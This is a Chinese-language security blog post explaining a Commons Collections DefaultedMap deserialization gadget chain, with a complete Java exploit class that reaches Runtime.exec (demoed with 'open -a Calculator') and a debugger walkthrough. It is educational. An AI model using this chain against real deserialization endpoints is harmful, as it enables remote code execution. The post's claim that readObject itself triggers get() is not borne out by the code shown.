原創->CommonsCollections1-DefaultMap鏈

A8k1a4發表於2024-05-15

今天我打算整點兒不一樣的內容,透過之前學習的TransformerMapLazyMap鏈,想搞點不一樣的,所以我關注了另外一條鏈DefaultedMap鏈,主要呼叫鏈為:

呼叫鏈詳細描述:
 ObjectInputStream.readObject()
     DefaultedMap.readObject()
         DefaultedMap.get()
            ChainedTransformer.transform()
                 ConstantTransformer.transform()
                 InvokerTransformer.transform()
                     Method.invoke()
                         Class.getMethod()
                 InvokerTransformer.transform()
                     Method.invoke()
                         Runtime.getRuntime()
                 InvokerTransformer.transform()
                     Method.invoke()
                         Runtime.exec()

原創->CommonsCollections1-DefaultMap鏈

剛開始的方法和其他CC1鏈的方法是一樣的,這裡不再贅述,其實也就是這三步

原創->CommonsCollections1-DefaultMap鏈

主要講一下在DefaultedMap裡是如何進行呼叫的,首先我們看一下完整的EXP

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class ExploitDemo implements Serializable {
    private static final long serialVersionUID = 1L;

    public static void main(String[] args) throws Exception {
        // 設定Transformer鏈,最終執行命令 'open -a Calculator' 以彈出macOS計算器
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class), // ConstantTransformer.transform() 返回Runtime.class
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), // InvokerTransformer.transform() 呼叫Class.getMethod() 獲取getRuntime方法物件
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), // InvokerTransformer.transform() 呼叫Method.invoke() 獲取Runtime例項
                new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open -a Calculator" }) // InvokerTransformer.transform() 呼叫Runtime.exec() 執行命令
        };

        // 使用ChainedTransformer將多個Transformer連結在一起
        Transformer transformer = new ChainedTransformer(transformers); // ChainedTransformer.transform() 依次呼叫上面的每個Transformer

        // 建立DefaultedMap物件
        Map<Object, Object> innerMap = new HashMap<>();
        DefaultedMap defaultedMap = new DefaultedMap(transformer); // DefaultedMap.get() 如果key不存在,呼叫transformer.transform()

        // 透過反射將innerMap注入到DefaultedMap中
        Field mapField = DefaultedMap.class.getSuperclass().getDeclaredField("map"); // 獲取父類AbstractMapDecorator的map欄位
        mapField.setAccessible(true);
        mapField.set(defaultedMap, innerMap); // 設定DefaultedMap的map欄位為innerMap

        // 透過反射設定value欄位
        Field valueField = DefaultedMap.class.getDeclaredField("value"); // 獲取DefaultedMap的value欄位
        valueField.setAccessible(true);
        valueField.set(defaultedMap, transformer); // 設定DefaultedMap的value欄位為ChainedTransformer例項

        // 序列化DefaultedMap物件
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(defaultedMap); // 序列化defaultedMap物件
        objectOutputStream.close();

        byte[] serializedObject = byteArrayOutputStream.toByteArray();  // 透過ByteArrayOutputStream獲取序列化後的位元組陣列

        // 反序列化DefaultedMap物件
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serializedObject);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        DefaultedMap deserializedMap = (DefaultedMap) objectInputStream.readObject(); // ObjectInputStream.readObject() 反序列化defaultedMap物件,觸發DefaultedMap.readObject()
        objectInputStream.close();

        // 呼叫get方法以觸發命令執行
        deserializedMap.get("key"); // DefaultedMap.get() 呼叫ChainedTransformer.transform(),依次呼叫各個transformer,最終執行命令
    }
}

我們來下斷點除錯一下,看看程式碼是如何進行命令執行的

首先還是建立一個陣列,然後透過ChainedTransformer方法進行不斷的呼叫

Transformer[] transformers = new Transformer[]
建立一個陣列Transformer[]
  
new ConstantTransformer(Runtime.class)
1.透過ConstantTransformer 的 transform 方法呼叫一個物件,返回 Runtime.class,即 java.lang.Runtime 類的 Class 物件。

new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), 
2.透過InvokerTransformer呼叫 Runtime.class.getMethod("getRuntime", new Class[0]) 獲取名為 getRuntime 的方法物件,getMethod 方法簽名為 Method getMethod(String name, Class<?>... parameterTypes),傳入引數 new Class[] { String.class, Class[].class } 和 new Object[] { "getRuntime", new Class[0] }
  
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] })
3.透過 InvokerTransformer 呼叫 Method.invoke(null, new Object[0]) 獲取 Runtime 類的例項,invoke 方法簽名為 Object invoke(Object obj, Object... args),傳入引數 new Class[] { Object.class, Object[].class } 和 new Object[] { null, new Object[0] }。


new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open -a Calculator" }) 
4.透過 InvokerTransformer 呼叫 Runtime.getRuntime().exec("open -a Calculator") 執行命令,exec 方法簽名為 Process exec(String command),傳入引數 new Class[] { String.class } 和 new Object[] { "open -a Calculator" }。

原創->CommonsCollections1-DefaultMap鏈

透過ChainedTransformer方法,遞迴呼叫transformers陣列,每一個步驟的輸出被作為下一步的輸入。

原創->CommonsCollections1-DefaultMap鏈

然後繼續往下跟

原創->CommonsCollections1-DefaultMap鏈

1.首先我們先建立一個Map物件,為什麼後面會講
Map<Object, Object> innerMap = new HashMap<>();

2.傳入transformer陣列,因為defaultedMap 中獲取一個不存在的鍵的值時,DefaultedMap 會使用 Transformer 物件的transform 方法來計算預設值,所以會呼叫我們的惡意陣列鏈。
DefaultedMap defaultedMap = new DefaultedMap(transformer);

繼續往下跟

原創->CommonsCollections1-DefaultMap鏈

原創->CommonsCollections1-DefaultMap鏈

1.DefaultedMap 類繼承自 AbstractMapDecorator,getSuperclass() 方法返回 DefaultedMap 的直接父類AbstractMapDecorator,getDeclaredField("map") 方法返回 AbstractMapDecorator 類中的 map 欄位(一個 Field 物件),反射是因為這個欄位是私有的
Field mapField = DefaultedMap.class.getSuperclass().getDeclaredField("map"); 

2.setAccessible(true) 方法允許透過反射訪問私有欄位。
mapField.setAccessible(true);

3.mapField.set 方法用於設定 defaultedMap 物件中 map 欄位的值,這裡將 defaultedMap 的 map 欄位設定為 innerMap 物件,即用我們之前建立的 Map 物件替換 defaultedMap 內部的 Map 實現。
mapField.set(defaultedMap, innerMap);

繼續往下跟

原創->CommonsCollections1-DefaultMap鏈

1.透過反射訪問並修改了 DefaultedMap 類的 value 欄位,getDeclaredField("value") 獲取 DefaultedMap 類中名為 value 的欄位.
Field valueField = DefaultedMap.class.getDeclaredField("value");

2.setAccessible(true) 使得即使是私有欄位也可以透過反射進行訪問和修改
valueField.setAccessible(true);

3.透過 set 方法將 defaultedMap 物件的 value 欄位設定為 transformer 物件。原因是當 DefaultedMap(Map map, Object value) 中的value獲取一個不存在的鍵時,它將使用這個 transformer 物件來生成預設值。
valueField.set(defaultedMap, transformer);

繼續往下跟

原創->CommonsCollections1-DefaultMap鏈

這裡我也不廢話,主要就是序列化資料和反序列化資料,透過ByteArrayOutputStream,提供了將資料寫入位元組陣列的能力,toByteArray()方法是獲取寫入的所有資料的副本,作為一個新的位元組陣列,然後透過ByteArrayInputStream進行反序列化。

這裡關鍵點需要注意的是以下這段程式碼,因為要能夠使命令成功執行,必須要讓DefaultedMap實現序列化介面,這裡我們可以看到確實實現了,所以 DefaultedMap 實現了 Serializable 介面,它可以透過 ObjectInputStream 進行反序列化。在這個過程中,ObjectInputStream 會呼叫 DefaultedMapreadObject 方法,以恢復物件的狀態。

原創->CommonsCollections1-DefaultMap鏈

原創->CommonsCollections1-DefaultMap鏈

可以看到我們下的斷點位置已經透過反序列化呼叫了readObjcet方法

原創->CommonsCollections1-DefaultMap鏈

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
  
  in.defaultReadObject();
  //ObjectInputStream 的 defaultReadObject 方法。defaultReadObject 方法負責從輸入流中讀取物件的非靜態和非瞬態欄位的狀態,並將它們恢復到當前物件中,這一步相當於預設的反序列化過程,它會根據序列化時寫入的物件狀態自動恢復這些欄位的值。
        
  map = (Map) in.readObject();
  //這一行程式碼從輸入流中讀取一個物件,並將其強制轉換為 Map 型別,然後賦值給 map 欄位。這意味著 map 欄位在反序列化過程中需要被顯式地恢復。透過這種方式,可以確保 map 欄位在反序列化後正確地指向原來的 Map 物件。
    }

繼續往下跟
獲得命令執行的原因是,透過觸發readObjcet方法呼叫DefaultedMapget方法,進行判斷,當呼叫 get 方法嘗試獲取一個不存在的鍵(如 "key")時,DefaultedMap 會使用預設值生成器來生成值。在這裡,預設值生成器是chainedTransformer,因此會呼叫 chainedTransformer.transform("key"),因為獲取到一個不存在的值,DefaultedMap 會使用其預設值生成器(在這裡是 ChainedTransformer)來生成預設值。由於 ChainedTransformer 包含了一系列的 Transformer,這些 Transformer 會依次呼叫,最終執行惡意命令。

原創->CommonsCollections1-DefaultMap鏈

然後我們可以下斷點看下面的圖

原創->CommonsCollections1-DefaultMap鏈

逐行解釋一下命令執行的過程

if (map.containsKey(key) == false) 
//檢查 map 中是否包含指定的鍵 key。如果鍵不存在,程式碼繼續執行內部邏輯;如果鍵存在,則直接返回鍵對應的值。
  
if (value instanceof Transformer)
//檢查 DefaultedMap 的預設值 value 是否是 Transformer 型別,如果 value 是一個 Transformer 物件,則呼叫 Transformer 的 transform 方法來生成值,也就是呼叫了我們的惡意鏈
  
return ((Transformer) value).transform(key);
//當 get 方法呼叫 ((Transformer) value).transform(key) 時,實際上是呼叫 ChainedTransformer 的 transform 方法。ChainedTransformer 的 transform 方法會依次呼叫內部每個 Transformer;
ConstantTransformer 返回 Runtime.class;
InvokerTransformer 呼叫 getMethod("getRuntime", new Class[0]),獲取 Runtime.getRuntime 方法;InvokerTransformer 呼叫 Runtime.getRuntime() 方法,獲取 Runtime 例項;InvokerTransformer 調;
Runtime.exec("open -a Calculator") 方法,執行命令,開啟計算器。

原創->CommonsCollections1-DefaultMap鏈

大家可以有機會自己寫一下程式碼,除錯一下就可以完全明白了,今天就到這裡。Good night~

相關文章